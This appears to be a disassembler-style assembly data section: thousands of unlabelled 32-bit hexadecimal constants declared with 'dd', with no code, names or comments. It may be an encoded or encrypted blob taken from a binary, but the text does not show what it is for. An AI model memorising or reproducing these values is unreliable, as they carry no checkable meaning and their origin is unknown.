		dd 0C5BD1EBh, 0E247DDF5h, 48CA16D3h, 0EAA53C36h, 0D7608C99h
		dd 2758BEB9h, 0ED81D002h, 4C71ABDFh, 0BE681553h, 61189052h
		dd 3540341Eh, 102DBC09h, 8195E70h, 6425255Fh, 323A1494h
		dd 0A13BC95h, 4B24A2F6h, 5E488BFh, 2F0E7597h, 2CA0EAB2h
		dd 0B55972Dh, 16A25E36h, 1DEA87BEh, 0A6B74297h,	0C9A7E3F1h
		dd 0BF28366Ch, 0BAF95825h, 5F5A0580h, 28011D99h, 0B5072DD8h
		dd 4534D200h, 0E927263Ah, 9813DD74h, 0D313D8C3h, 0F3AF015Fh
		dd 4AB9083h, 6EB12316h,	85F9ACBAh, 34F7A1F4h, 5A21F35Eh
		dd 0C9ABA8C5h, 0BE28208Eh, 0CF38180h, 4E6B3BDBh, 31EA820Ch
		dd 0EA01627Ch, 37846A7Fh, 4E80DA29h, 76528B3h, 0F5271E9h
		dd 130449BFh, 5D90973Fh, 7BF26C35h, 12A94F73h, 3E75EF8Bh
		dd 0C89E3AAh, 8F3894E9h, 0E59C0FC5h, 93645F3Bh,	0DFA29269h
		dd 44D56D6Ah, 0AF304B84h, 0CED05D9h, 31657DFAh,	28645AADh
		dd 0F5D8F3B4h, 410CF242h, 0FD3E30D3h, 22EC44Ch,	688389FCh
		dd 1B126E7Ah, 98EA3394h, 0D54AF7E7h, 0E93021FBh, 3EBB28C4h
		dd 3B503168h, 0B36BA1A7h, 80691F7h, 242889E9h, 0FD296112h
		dd 5BC2A5Fh, 9D5EDB4h, 0E6485B68h, 80B34AE3h, 0EAEE8049h
		dd 5AF58812h, 0FB0E580Bh, 8F98BD7Eh, 49F0AFDDh,	0B42D6688h
		dd 2B584972h, 292EFB7h,	0CA6DE95Dh, 2DA3C10Bh, 48424DF0h
		dd 0C6060A3Bh, 26A61751h
		dd 0C3BBD24Ch, 91F08950h, 789658C2h, 0C4E3BC0Bh, 82CC546Ah
		dd 1B99B59h, 5A5005BDh,	4183602Bh, 0B0BF28D3h, 491EB2E7h
		dd 49B12E1Ah, 0D1A80C2Ch, 0F9B9057h, 77EB3AFEh,	0CDF0B6CBh
		dd 96D3883Bh, 0D2B346C3h, 616EA5Fh, 7B8090EFh, 1F4A9C60h
		dd 82CAE2F1h, 0F4386808h, 9D7886Ch, 0CAA85E12h,	6D4A52CBh
		dd 19308901h, 787F2051h, 0B03D249Ah, 1E6FCC14h,	386EF80Bh
		dd 0E3190C60h, 0A8BDA342h, 0E17D449h, 718FE581h, 0A0003E4Bh
		dd 5C60728Ah, 0D412629Fh, 8F6B66B1h, 0E342595Bh, 419716C6h
		dd 9ECCF1F9h, 892A257Bh, 252CEC57h, 0F17431C2h,	0C75A842h
		dd 7E1E456Ch, 9C84DEBh,	0C9FE006Fh, 82AC180h, 0C059CE07h
		dd 6F9E04EEh, 7B7FDEFAh, 0C6381D78h, 48F0240Ah,	270BC508h
		dd 5A6D14DFh, 0A4DAC5B5h, 2DF19B02h, 9A08D2CEh,	2D82613h
		dd 51396111h, 0ACB76360h, 51A0116h, 42552BFh, 0EACFE9C6h
		dd 160BC9A9h, 2480D122h, 0D4552CF6h, 0CB184560h, 0B8B11B8Dh
		dd 5EA84E6Eh, 21896756h, 0FAFCC1DDh, 0FCF0EB04h, 6D50485Fh
		dd 0B9070720h, 23AC29A6h, 7E53ADA2h, 0BB77646Ah, 282D4E16h
		dd 0EA43577Ah, 57E9A6C5h, 0B604AB5Fh, 0E9035C01h, 0C70E1039h
		dd 0DF6D42CDh, 3EDC147h, 0EFE8619Eh, 562F0FBFh,	0A3C3AF42h
		dd 51A4165Ah, 212CBA3Ah, 34E75E29h, 0D9A782C4h,	0BCED86E8h
		dd 1C2F4716h, 0C1805CBBh, 51F12AA1h, 0CBF06FC1h, 7A4741C7h
		dd 0E06FFDA1h, 36241ED9h, 0A7077660h, 7F49B7A8h, 0D54F2BD0h
		dd 2F5516BCh, 0EB2BB07Ah, 0CB73563Fh, 0B44BDBF2h, 889DDA11h
		dd 0F089B346h, 8386D98Ah, 4F2FB3BFh, 0E8B6E587h, 2008D28Ch
		dd 685100C1h, 299935BCh, 75015924h, 6441E941h, 0D1268369h
		dd 0F4DC9793h, 2541CB8Dh, 8A42B06Eh, 9C1D03Dh, 21FF3B9h
		dd 0CADEE9CBh, 0F6945F2Ah, 31847DB6h, 0E9BB8BC8h, 57E9F0DFh
		dd 0BDD492A2h, 0F482B4F4h, 433C5045h, 3065B04Dh, 1DE3BF78h
		dd 1C081AF5h, 1100140Bh, 57A24AE3h, 0E0B5190h, 5206FC17h
		dd 8DD19742h, 25E95950h, 0EBE8A1DBh, 8180EFE2h,	852409F5h
		dd 0BAD474C0h, 0F36C970Bh, 54568BEFh, 460B9373h, 0CF652706h
		dd 28A83B74h, 32F0EB92h, 484A61B9h, 9306EBC0h, 15E80774h
		dd 6FF4562Fh, 51BE5DD2h, 0EFEDE92Ch, 0D3FB94BAh, 92C446D3h
		dd 54A46DE8h, 0B8323787h, 0CA75EAFFh, 9EDA4074h, 5BF0947Dh
		dd 97FD2EAh, 0C5F975CDh, 9DEC5F69h, 0F764E918h,	915BD30h
		dd 1318F2Dh, 20DCE475h,	0E1E0AD02h, 3E2E92B0h, 0FEA5B591h
		dd 0FDC74325h, 4A68E00Bh, 0B930DD70h, 8282DAB0h, 5555AA6Eh
		dd 3680630h, 0C5CC5C4Fh, 0FD144B2Fh, 7DC89058h,	0F82F12A4h
		dd 5AB1FE7Ah, 95770BE2h, 4288A4E8h, 82091640h, 9FE215Ch
		dd 0B51066D7h, 97A0FA44h, 0C97038FBh, 8A0BBBCh,	0D1EB0CD2h
		dd 53783CBh, 4BC62C88h,	3D70AAE5h, 0C927F668h, 7D057BDh
		dd 0F09DC5E0h, 0E9924E67h, 619775CAh, 57001F7Ah, 68136655h
		dd 0EDF76CC6h, 0FD2EE758h, 0C6B8082Bh, 0FB146432h, 88554AADh
		dd 551D4217h, 0C68CA7BBh, 882F209Dh, 29E5809Dh,	984A4814h
		dd 427509B1h, 28727971h, 3AE79805h, 65C231C7h, 4C3ED0CCh
		dd 0C584765Fh, 89BE1306h, 3BAFED78h, 16105914h,	5735D094h
		dd 5A91C388h, 4E39FB7Dh, 85C4BD6Eh, 8290BD95h, 5EB423E1h
		dd 0C14D0052h, 0F3820D41h, 0B431297h, 8E6155DAh, 5D43E58h
		dd 7925E8AAh, 0F1B85002h, 0DF20CD16h, 6E40F1EAh, 46EA30CAh
		dd 2B4E2875h, 51E0FB8h,	34A2CF8Ah, 0AC278DA3h, 0E92752AEh
		dd 5A90E114h, 5418B6Bh,	614B4E19h, 51A185C0h, 0C5067A6h
		dd 0AE96C46Bh, 82D7CB0Fh, 0C231547Bh, 7A15F011h, 0F02580B8h
		dd 66B50600h, 5E5F0B05h, 5AD9FEF1h, 0C28FB815h,	5F610E68h
		dd 8275DE7h, 0F030D470h, 448478CFh, 8D34068h, 0CC4DB004h
		dd 1C565E0Bh, 0DAA4D5C4h, 0A116028h, 0B353C1FEh, 0D94A1F79h
		dd 0B1F3F661h, 86965D02h, 0F9EDF9Dh, 0B607CEA0h, 2E80C6B4h
		dd 21DFDE3Eh, 4C63FAF2h, 56A00638h, 691F16BEh, 0E6004D07h
		dd 3C4313DBh, 0CC6BF768h, 0B9075149h, 1BE66BCAh, 0FF59CD92h
		dd 5DD90348h, 2CF57CFh,	0C365EA43h, 6804A4D7h, 0D6CAB57Eh
		dd 0EB0FDF0h, 21FA5B31h, 0AD11230Dh, 0C1F22D96h, 18746855h
		dd 0D1C08678h, 0F7509941h, 0CCC1DB2Ch, 1D3AF3Ah, 0F50994C7h
		dd 0DD7A902Eh, 0FCB25DE9h, 2FBD5502h, 0E0657D16h, 2D1FAFC8h
		dd 0F9F0050Ah, 9D01CFD3h, 4D2754EDh, 2920002Bh,	0CB9AE9D1h
		dd 8C4FDE9Dh, 4952D0A9h, 0E34122B0h, 0A57E62Eh,	9F086A68h
		dd 76F0BD60h, 756E5C65h, 5D4BEE20h, 0B4B75BECh,	0B8CFFBBh
		dd 0F6751F60h, 402A5767h, 1FE305A7h, 12C4089h, 82088C8h
		dd 7FC6C2BDh, 0F1B77914h, 0A07E4417h, 0E20481DAh, 7D1F0FA8h
		dd 73BFC0AFh, 6A022565h, 0C7E9D089h, 2A1855C5h,	3B9915A3h
		dd 2351DAA8h, 1BA97B86h, 7E5E808Bh, 559DD9A0h, 36BEC61Eh
		dd 0B24ECA91h, 73DE109Eh, 84685305h, 0CBBAE81Ah, 5A12246Ch
		dd 0DBC544EAh, 0E3800032h, 0C4FE533Fh, 94D6D47h, 0DA325D29h
		dd 0A1096BDAh, 0D534697Ch, 0E91628E4h, 4B8D97BAh, 13579F1Ch
		dd 20C670E9h, 3E2A838Ch, 6B270A7Bh, 9C97D5A5h, 564B0C2Ah
		dd 0C9639B83h, 0C5CB5957h, 0C9E62D81h, 0D07D0502h, 71E88C3Bh
		dd 371AC440h, 1C18187h,	0C57F43B2h, 0B699D19Fh,	0E4BDF4D8h
		dd 8BB8FE5Eh, 0FF128C85h, 8DCFF721h, 96550B07h,	0CD48D456h
		dd 96C1F341h, 0E8006D62h, 8149636Dh, 1A18E2C2h,	8E0C7554h
		dd 0C09F27A2h, 0A1E283FFh, 8017841Dh, 0F031E0DAh, 0B148B6F8h
		dd 0E7EE8099h, 5A7B562Dh, 6C258001h, 475BB22Bh,	8101B6A9h
		dd 5B66ECEDh, 2ADB2009h, 5D756E05h, 0B1C4E5D1h,	2BC3E4EAh
		dd 169E581Eh, 6EB18FD2h, 6F895BE0h, 0E0616AFBh,	9D534D46h
		dd 0CF49130Ch, 0AD287747h, 20BE2008h, 5E2EAEC0h, 593D3189h
		dd 6D7C06A4h, 514E6943h, 0FC6007EFh, 49540FCh, 13A1984Eh
		dd 4C8182D2h, 0AFBB539Fh, 0DA770C89h, 77EAEB09h, 0AC6255D1h
		dd 0F65FD6Fh, 9651243Eh, 6558BD80h, 0BD4514BAh,	51E9A450h
		dd 5C5428Bh, 68A291EEh,	10C2323Bh, 8913DE12h, 6CFE00E5h
		dd 46208655h, 5A99709Fh, 67E4A14Fh, 0DC7B1EECh,	0D7F705E0h
		dd 0C078140Ah, 331F3CA1h, 0D5FDD0CAh, 0B5C20820h, 0CA82E95Fh
		dd 3AF87D47h, 0CF2C67E0h, 0DB46970Fh, 315A58E7h, 83A4A23Eh
		dd 0CBD7096Ah, 31499EFFh, 0C8C5F541h, 0A44AB159h, 4BAF7DA3h
		dd 91292C25h, 2F1CBFE9h, 3957B198h, 5BB20E05h, 0DD0BF44Eh
		dd 305290C1h, 7FC97248h, 0A7435DC6h, 6620CC25h,	0C5F91F1h
		dd 68197729h, 0D1611B2Dh, 0CD940C89h, 7C4F045Ch, 0FE7427FCh
		dd 98DD955Bh, 4FE2DF8Fh, 7FA4A7FEh, 84BD46FAh, 0C880B473h
		dd 25683AC4h, 9C57738Fh, 0B33AC52Ah, 5100BFA7h,	0C380CBFEh
		dd 0FBE975D5h, 31B9C82Eh, 90F440Fh, 0F010A9C8h,	1DF4BF4Eh
		dd 802B8C70h, 4693D821h, 0BB30933Eh, 899F71FEh,	3C3C31EFh
		dd 1DFF4A41h, 0D9820F0h, 0DB8DBC25h, 0AD520962h, 0F26DC455h
		dd 2CF55596h, 0BD1D5520h, 5B88180h, 1C05AA52h, 7A0A92BBh
		dd 0A6AD6CC1h, 9F82AF04h, 17AAE159h, 49D7BAF3h,	123A29E5h
		dd 2B84FB6Fh, 8220B3EBh, 0F2FF3AE9h, 5301588Fh,	0FD68D9C2h
		dd 0D3AFC059h, 0E23313DCh, 4B094C7h, 234D600Bh,	5A0776C3h
		dd 0E958800Dh, 48953314h, 0CE1011C2h, 0EF4FC5C5h, 5BFD4A5Dh
		dd 0BB251730h, 544C6849h
		dd 126DC241h, 4E26460Ah, 0D5055B0Bh, 78DF461Ah,	0E3088B4Fh
		dd 0F50635EEh, 0AE645B0Dh, 13E53798h, 0EF3AC141h, 1A026801h
		dd 0C243609h, 95C9F8F0h, 3B9CD949h, 0E61E24FAh,	36F69302h
		dd 0D7572Eh, 2D410958h,	7A013725h, 0E996608Fh, 2974CE79h
		dd 8BF8BD5Bh, 0FAECF44Fh, 5675E24h, 87E328C2h, 8BE9574Fh
		dd 12BFD6F8h, 0CB47DDBFh, 4BDBF704h, 49D1F0FEh,	65B5B816h
		dd 50FB36C2h, 0BE5B711h, 0B62C173Fh, 16DD338Ch,	25EC35h
		dd 3A047C56h, 0E19F3177h, 0C46812A8h, 455A3F47h, 95F2A783h
		dd 165B09C8h, 5CCC6857h, 7FEB2568h, 0F7551A7Ah,	7B37E149h
		dd 1286D814h, 3DEB56DAh, 0C4F62B05h, 57744612h,	2383AA80h
		dd 0F626DAEEh, 0AFEF97F0h, 0B6011983h, 0EE1C445Ah, 308F7F95h
		dd 0D542286Bh, 0D5C512F5h, 0E8D3B136h, 500CDEFFh, 7582CBFAh
		dd 0A2F7BEC0h, 36283BCh, 0B23BDD4Fh, 965C71D9h,	0BBE5616h
		dd 0D9D00E26h, 2084BA04h, 0AFE4391Ah, 345F1757h, 6194A03Ch
		dd 9006DFE3h, 73D26C46h, 939D0B0Ch, 57918C0Ch, 0B08B50DDh
		dd 0C60408ADh, 0CEFE5866h, 5E719AE6h, 0AA4590D2h, 112C0A63h
		dd 403F0143h, 2E220BBEh, 0B98260B9h, 16DE56F7h,	1B15DE48h
		dd 3BBA03A6h, 0D273AC02h, 4E21588Eh, 0AEC728h, 41B551D8h
		dd 0A4B8E8E0h, 50204569h, 388A20CEh, 0CF2FEB98h, 0FA594655h
		dd 83A9CD5Eh, 92D52E91h, 58034022h, 67F1B522h, 40B46861h
		dd 0E913DD23h, 0B887402Fh, 7BA33404h, 0B7BA20FBh, 352E540h
		dd 0CA808BB2h, 0A9EFEB3h, 0C23D3078h, 69F2962Dh, 0BF14E40Dh
		dd 0BE4E1A38h, 0B1F2BC12h, 7D78FA97h, 13354FE9h, 0E231AFEBh
		dd 8F7B07A2h, 7CFC5E02h, 0FCC9EE13h, 5FFAA089h,	3F592A68h
		dd 15902598h, 619228D9h, 0E1E6C2EFh, 49E2C5F7h,	0F040D2Eh
		dd 220781C9h, 118D6A2Dh, 0FB58E229h, 0F90DE983h, 0C9D52240h
		dd 0C8A5FE76h, 1F817BFh, 9D2ADE9h, 0A78841Dh, 0E9F810B6h
		dd 1A99EF3h, 0A9B96651h, 7340881Bh, 0FD310EEDh,	4CD088E9h
		dd 5BDD280Bh, 5F340B50h, 0AA04798Bh, 0A038EA1Ch, 1FAB2768h
		dd 0FF7968A2h, 0DB2F7C67h, 5BDE032Bh, 68F8EE83h, 799F5691h
		dd 9ACC4931h, 3549A0B0h, 53A10741h, 4EA263BCh, 63795668h
		dd 0C05CC8E2h, 0B12D0204h, 753ECE20h, 0C62BC002h, 85506602h
		dd 0EF88FEBCh, 6078B7C9h, 0D6398490h, 2920136Eh, 4D1CFBh
		dd 0E92F6440h, 0FBBD9519h, 41E4A870h, 83B07FA4h, 0BF02E683h
		dd 7E8FAB0h, 0A71CF19Dh, 76B48158h, 44E7BD01h, 87E85FA8h
		dd 0B214C3DEh, 0B210FE17h, 68131138h, 4B8BA897h, 6FA2F7BCh
		dd 56F935C2h, 5D25099Ch, 1444CACCh, 0B191A851h,	4FB4EEEAh
		dd 0FAB374DAh, 0B610E15Dh, 1EED116h, 0E3165BFDh, 574D006Ch
		dd 68610932h, 3CB04834h, 968827E7h, 0FA0AD310h,	0AEE36F80h
		dd 7944243Fh, 0EF800253h, 17F4F7FFh, 4EB14F0Bh,	19424C47h
		dd 5971A520h, 0FB9248EEh, 4414BF04h, 81BB091Dh,	320E5E0h
		dd 5F9C0958h, 0BE070E24h, 3500E8F4h, 4A2D0628h,	6F690F05h
		dd 8BE42171h, 1E3CAB25h, 0BFE84F17h, 437E382Dh,	0CD6C668h
		dd 0F021FD90h, 0BC5EF490h, 543F1D49h, 25636055h, 0E925160Bh
		dd 81CED4F0h, 38F314F7h, 0C1B86AF4h, 0D248B24Fh, 0A1368279h
		dd 4B698210h, 0D2BB6157h, 508B20h, 0B47D66A2h, 2B7726E6h
		dd 37DA7A8Ch, 0AC81B377h, 5A8E5D60h, 20EC89C8h,	56BE77BDh
		dd 0DF314789h, 0EC980A6Eh, 0D12A6241h, 3E0A52E7h, 80CDCE33h
		dd 0FC4A6109h, 0F4535436h, 8D4B03A8h, 4CF8106h,	8020E4E7h
		dd 0B823B1D2h, 690C6F60h, 5E111C6Dh, 98DED047h,	0A64A18EEh
		dd 9525FDE9h, 340DD5C0h, 30B37A03h, 0D22C2335h,	20B274DBh
		dd 4A250C88h, 0AB0C09E6h, 8C51C616h, 0B10681BBh, 0C1EA04E0h
		dd 729A328Ch, 10AB5EBBh, 43549240h, 90455F5Ah, 5D336864h
		dd 925847Fh, 0CF52D1B5h, 848692CAh, 0C05EF209h,	0C35FDB2Fh
		dd 5615C5Ch, 7576DF56h,	8E0C4FC4h, 9F77D78h, 7AB72B4h
		dd 212D3C58h, 7A96F7F1h, 4E363E22h, 69D4B356h, 1569770Dh
		dd 0A11B6AC6h, 990AB632h, 0CCDD256Ch, 0AD1C4F21h, 35F0C002h
		dd 5AE95377h, 0B1101CE4h, 0EAC3615Ch, 69F7DF88h, 13434684h
		dd 0EC1BC9EFh, 0A8BE13FBh, 0EF4A7791h, 0F225E18Fh, 78771509h
		dd 48122572h, 0B760F254h, 4CE7807Bh, 69163695h,	0DD710488h
		dd 0BB6601EDh, 31D02ED8h, 0F85C9FCBh, 0FD8A5D8Bh, 936199BAh
		dd 0B62C3FB2h, 96C39156h, 8626A92Bh, 6AC59Ch, 7E0933B9h
		dd 52D1F70Dh, 1CA9BA1Ah, 13E47C0Ah, 0EFB3C559h,	0CCDEA804h
		dd 0F217F7A3h, 5C21CCBAh, 2C459B7h, 114D352Ah, 5F690640h
		dd 0E960B30Fh, 27AD38FAh, 0DD7127A8h, 0ECFA96F5h, 7DC209E7h
		dd 0E7727A0Fh, 0C3CC7704h, 0A4FB31E1h, 599D4EE1h, 77680BA9h
		dd 5BB2D1C8h, 390CE588h, 7A482C70h, 8D0F0902h, 50572913h
		dd 7EE03BFh, 9EE90C11h,	0E20BFC9Dh, 6DAD4057h, 68B08394h
		dd 0D434618Ah, 0F0F86A2Eh, 0CED45C2Fh, 759EDC89h, 4A01C8E7h
		dd 313B2509h, 68D1E901h, 9E4D3281h, 17A37D8Bh, 8D5B8C84h
		dd 4AF98A28h, 0C53F9076h, 0C03B327Bh, 0B5ED0014h, 1473D55h
		dd 8A85B8FDh, 0FA565508h, 290B1720h, 7A5F5AD5h,	41695A76h
		dd 1213E163h, 0F1F0208Fh, 0E3239309h, 0FECA5750h, 5A8FE45Fh
		dd 10F9A2C3h, 11DD1FAh,	4925D2F2h, 50B57A1h, 5CA554DCh
		dd 0AD3497Ah, 0FCC79609h, 79004B67h, 707519C3h,	178FB2C0h
		dd 0A8297AAAh, 92149F99h, 855595B7h, 0BEC05B8Bh, 0EA4DA140h
		dd 45271495h, 0F738058h, 0E901F251h, 2D64B0ECh,	592CA10Eh
		dd 0EFCB5E02h, 50B3900Bh, 7B010B54h, 6E84D821h,	526D4477h
		dd 0D416BC1Eh, 840097FEh, 12B1ACB8h, 0B5A0FB21h, 75371F89h
		dd 51249315h, 563CDF00h, 0D0E2D596h, 0FD7BA74Dh, 5E579D09h
		dd 8A328E5Fh, 0F02D4D05h, 0FFA720CBh, 706EBE05h, 4C822616h
		dd 2F60814h, 1BC70228h,	96BB1D48h, 0D4C14525h, 9320305Dh
		dd 0B4BCE27h, 17B184EFh, 0C22BE208h, 0D7FEE55Eh, 173E9953h
		dd 2DFC79A4h, 9BE05CCBh, 28803193h, 851D2C1h, 592F9F43h
		dd 85746B48h, 0D480AD58h, 521A255Dh, 11C09EBEh,	0E1171AE0h
		dd 40B12927h, 405B0802h, 2C35B608h, 23F67BDh, 4D1C2CA3h
		dd 6B7D8E75h, 13BA00CFh, 951AA109h, 2D199C77h, 20E849E9h
		dd 1418CEF2h, 0A9E53C6h, 2B930417h, 0A23AED68h,	0D863501Dh
		dd 2DF650B7h, 0C7E014E9h, 4F0BDDBEh, 0DD097B9Fh, 0B921DA07h
		dd 0C6207746h, 315C7E0Ah, 681CC2E3h, 2DAF30F7h,	0F3EAFAC0h
		dd 98D0593Ch, 0B44D4FFFh, 0E31EE19Eh, 177EF07Eh, 81201239h
		dd 4AE63D8Ch, 92E042Fh,	1C31B24Eh, 0CF9FE188h, 0D449EC09h
		dd 0AF5E97C3h, 585073C7h, 1150F328h, 20991E9h, 0B97D18CAh
		dd 0DF818062h, 95E424F2h, 2319AB02h, 28696801h,	92006436h
		dd 8305636Fh, 7D9501C2h, 8481D212h, 0CE5F3B6Dh,	68CC8BDDh
		dd 0B4E1CBA1h, 84C2880Eh, 0DEF65907h, 0DFD0B592h, 0F4E15B83h
		dd 0AD20BFADh, 7DB80A27h, 0FA062763h, 90C1145h,	4ADCA5D3h
		dd 3F503D06h, 68F031ADh, 55C9761Ah, 819F7CF8h, 92449AF2h
		dd 17D93282h, 50904523h, 4B953F35h, 5C34872Ch, 3D25E9EEh
		dd 20B37709h, 24EE0CD9h, 424EC200h, 40D27D8Ch, 0D577097Bh
		dd 0E7FB2B37h, 63A077DBh, 70CE685Bh, 4A285B9Fh,	3FFA0931h
		dd 2D16AF7h, 0D63120F3h, 27E15396h, 0C665942Ah,	332F17A1h
		dd 44B30FEEh, 11EC5FCh
		dd 0EBD5C0F3h, 0A43C5785h, 0A7F1CB25h, 0B1C0806h, 505861F2h
		dd 245F0891h, 0BF985772h, 0ED51BF0Ch, 4B86622h,	0E93AD15Dh
		dd 7869FC71h, 116C6816h, 6317CEA3h, 5DC53250h, 0AD7AB882h
		dd 26704675h, 42C99168h, 0F15D0FA7h, 0A1026492h, 394E302Bh
		dd 0C0AD9F40h, 0E743B096h, 0D660F72Eh, 27A065F5h, 0E2015BCDh
		dd 0BA8610EBh, 9FA9826Eh, 0B4F66FEEh, 8000C4B4h, 0C2FE64EAh
		dd 7F686266h, 4557D5C1h, 0F1DF694Ah, 0EE68C144h, 29CE2F54h
		dd 0E958C705h, 89D0B085h, 41183297h, 6600FD23h,	0C862BE0Fh
		dd 0F96C8E96h, 0C09E08F6h, 0D1000F24h, 0D08BB050h, 2C8F7E0h
		dd 28960204h, 3E3FE9C3h, 1F3646F7h, 39DCF6FDh, 8B59792Dh
		dd 0B151F6E0h, 0BA56C018h, 3402E8C0h, 0E25CD972h, 593B2F0Ch
		dd 7473809Bh, 0CE875692h, 324F92B2h, 85748Ch, 812E122Ah
		dd 0C32665C9h, 88EB4E4Bh, 0D172F737h, 271BD94Ch, 42DF7ED0h
		dd 2D005999h, 50D144FDh, 0A005EE69h, 0BAC9E907h, 0B2B526A2h
		dd 8729148Eh, 0D0638A27h, 85F85BC7h, 25C96E84h,	24A28D7Ch
		dd 0E918E9D4h, 67CB0324h, 0E1991679h, 408866F3h, 0FED27596h
		dd 0C94D13B7h, 0B37EF6EBh, 0EE020443h, 0A3EFFBDEh, 8CE9895Bh
		dd 2635881Eh, 13A68F9h,	282AB725h, 0C242E812h, 540A3427h
		dd 0DEE941F6h, 17B23F06h, 0AC8FEA92h, 0E176A52h, 0A271FCF6h
		dd 257D56E3h, 9D0E165Fh, 961957Dh, 8CDE0566h, 0FDF80109h
		dd 0DE314291h, 20A796FDh, 5B76BB6Eh, 7AFD642Eh,	771FFC40h
		dd 2E5EC54h, 142B7350h,	0CF4857E9h, 0D1786B9h, 0E8000704h
		dd 62A135EAh, 5BD92709h, 0B3AC1B55h, 0ED82005h,	15EA2BEDh
		dd 74271F80h, 484A9850h, 3E67A9A0h, 1219258Eh, 41533089h
		dd 0E8C7FEBFh, 14C2E1F4h, 6A4C295Fh, 55A727C9h,	88D4A0F4h
		dd 0E03388FAh, 0BF12BE61h, 70F544F9h, 91B0132Ch, 42587D35h
		dd 252204F9h, 0A0AE7779h, 6C3FEF96h, 0D1511D3Dh, 731328A4h
		dd 6A53620h, 0C11F0784h, 0EFD104E3h, 4F68837Ch,	0F3B01E19h
		dd 0CF328E2Bh, 5F5BEAB5h, 0E1E92D91h, 0C649963Bh, 0C59DC4AFh
		dd 0A9E0AB72h, 1B5D25E9h, 20DB36F7h, 6819152Dh,	811573C4h
		dd 76509B28h, 306B1E31h, 13DEF952h, 747B02Ch, 0D39812BAh
		dd 1DFF0EFh, 0EC4DC650h, 6DBEA290h, 0DA1D6740h,	677FFA4Bh
		dd 72DD1BD6h, 0CCF7A536h, 73194276h, 0CCFEBE2Dh, 36DF97F6h
		dd 52029656h, 3CB51977h, 69E72E0Dh, 0D6EDF24Fh,	1D85E2E8h
		dd 98335332h, 1C00D654h, 81595114h, 287EB7E1h, 0EB2482Fh
		dd 21C5CDF8h, 138246A4h, 0D4BD4C0Ch, 2E387CB7h,	0C22B0177h
		dd 0D790B960h, 0D13FA875h, 0ADCB3EC4h, 0A1017A2Fh, 257A3DC5h
		dd 0BDA519Dh, 0FA13AC5Dh, 2CE2EB5Fh, 7E130ECDh,	44F9A5C8h
		dd 0F74CA009h, 6749DF7Eh, 40731A53h, 830C4A86h,	91E864E7h
		dd 0F58BB440h, 0AF0D6BEFh, 0E7244856h, 0F1024BB5h, 29BF3E5Dh
		dd 0B6046F65h, 4CBF0F45h, 0A4FC0662h, 0E867D00h, 1791BD55h
		dd 0F8D8DFC6h, 0E7100797h, 0E39B5A71h, 0B159E912h, 4BE03F6Fh
		dd 9774B8DEh, 8321E158h, 622ABCF6h, 5DE7FABFh, 0FC13FCBCh
		dd 2E0FA30Fh, 8BBE6DFBh, 89E6229Fh, 665D0378h, 3172B855h
		dd 9BD4BFDAh, 17EBBCC4h, 3DEAB3Ah, 5DE45918h, 0A33C0D3Fh
		dd 9B90DA25h, 4B94F3C9h, 13A8B846h, 0A8BC731h, 6B578E18h
		dd 0D13F1F2h, 0C2014345h, 428B2141h, 1632C5F0h,	0EB1B8768h
		dd 80791C4h, 798B39E9h,	0AA4ACFEh, 8085EDFCh, 2AAE15DBh
		dd 0E65AD15Eh, 60D527ABh, 75523DF6h, 953684C4h,	89C9590Eh
		dd 4489050h, 0DA4A10F6h, 0FC88500Eh, 0AC4BE14Fh, 9AD17261h
		dd 0D523990Eh, 2BEA26C0h, 7504ED3Bh, 76272F0Ch,	0F81DDA1Ah
		dd 0E9FD0A50h, 8999865Ch, 541A7EFAh, 8A72E577h,	94CC523h
		dd 0F77419DDh, 0A3F5042h, 3CC6001Ch, 34BD6151h,	7E875C17h
		dd 0E90B9DF8h, 1BA00371h, 0EE8895F5h, 60AA4AC4h, 0EEDA1612h
		dd 8005F385h, 0C2A4EC0Ch, 15FB9F5Dh, 0DF976B28h, 0EB01FA02h
		dd 0F1083A5Bh, 815A0ECAh, 5C7079C1h, 0D876F00Bh, 0C1DF93BDh
		dd 7B816BA4h, 92227DE1h, 45C66F47h, 1D064806h, 2400482h
		dd 0C441ECF8h, 0E033F16Eh, 0DEB7ACBDh, 5C4B5CF6h, 70A5E8h
		dd 0B9376F10h, 8CF78A64h, 27E6295Ch, 72EED503h,	0B63A5BBDh
		dd 0CB01B3A8h, 38BF3161h, 0BA3AE3D1h, 90EEF224h, 5133C32Ah
		dd 0F048A325h, 1BA05B8h, 0B0A516A4h, 0B83C5003h, 0F6AC254Ch
		dd 0FE7901ACh, 2031CC22h, 1AF4E990h, 5908E695h,	0BE023B16h
		dd 0A614FA45h, 29173274h, 85EB67EBh, 51EFCFDh, 6C986F0Ah
		dd 39F344C0h, 303A301Ah, 0B0E5839Ah, 0DF89B80Bh, 13713E9h
		dd 0D05FA086h, 2050553Bh, 0B45F2603h, 5380A425h, 5979834Ah
		dd 6882C85Bh, 0E903462Dh, 28888CC0h, 8BF204BAh,	0ABDE2128h
		dd 87241B16h, 5F77A8h, 1CB3CEA4h, 4B806ACDh, 953204E1h
		dd 0AF022768h, 52EFD634h, 0EED4FA85h, 859450EFh, 0D65FE909h
		dd 7AC1CC6Ah, 0EE8100DDh, 0A12E1201h, 45F4030Ch, 31EB6148h
		dd 4E9B3410h, 9F06AF5Bh, 637BA4Bh, 5A709AE6h, 2D1A9777h
		dd 0FDD6FD0Ch, 0E0DFB24Ah, 0C98941A4h, 0AFF7C7F1h, 40936B60h
		dd 0FC968A5h, 5D29B84Bh, 413CA264h, 185852C3h, 0B7C9D871h
		dd 9E46B83Bh, 0B9A0BB53h, 602D07ADh, 0C1075C28h, 3601BF68h
		dd 0B48F12E6h, 966179AFh, 29EB7C74h, 4B813EBEh,	9C305E0Ah
		dd 8D114FF9h, 45AF3A32h, 0AFFEDC67h, 1CCD2FF2h,	26A23011h
		dd 0A16A5981h, 0FC832BD3h, 5AE2B731h, 0F444FDF0h, 4713854Fh
		dd 0EDA840BEh, 86539BC8h, 83DFC097h, 82D697C3h,	7D04EC2h
		dd 37CD624Ah, 69FBF97Fh, 0E8655807h, 5559CE09h,	0DA55EE1Ah
		dd 0E1E65B92h, 0D6702DB4h, 5A2D4FA9h, 6575D762h, 0A82197B4h
		dd 0F9C2B4E0h, 5BFEEA07h, 28C90D5h, 7950EEB9h, 65825F33h
		dd 3A75E1DEh, 0B9A7D575h, 0E9149C9Fh, 1548C2FFh, 1E072CEh
		dd 2441248h, 0E40A3AE2h, 0E9824889h, 0AFF024F7h, 0D9D5085Eh
		dd 0BF002D24h, 8354B37Fh, 0ED0148C0h, 905E4904h, 7441FA0Dh
		dd 0A24C803Bh, 822E0C7Ah, 0D13C5A8Dh, 609825E0h, 2C67BF68h
		dd 168963Bh, 0EA2B19C7h, 47F45326h, 2D3F143Ch, 1617849h
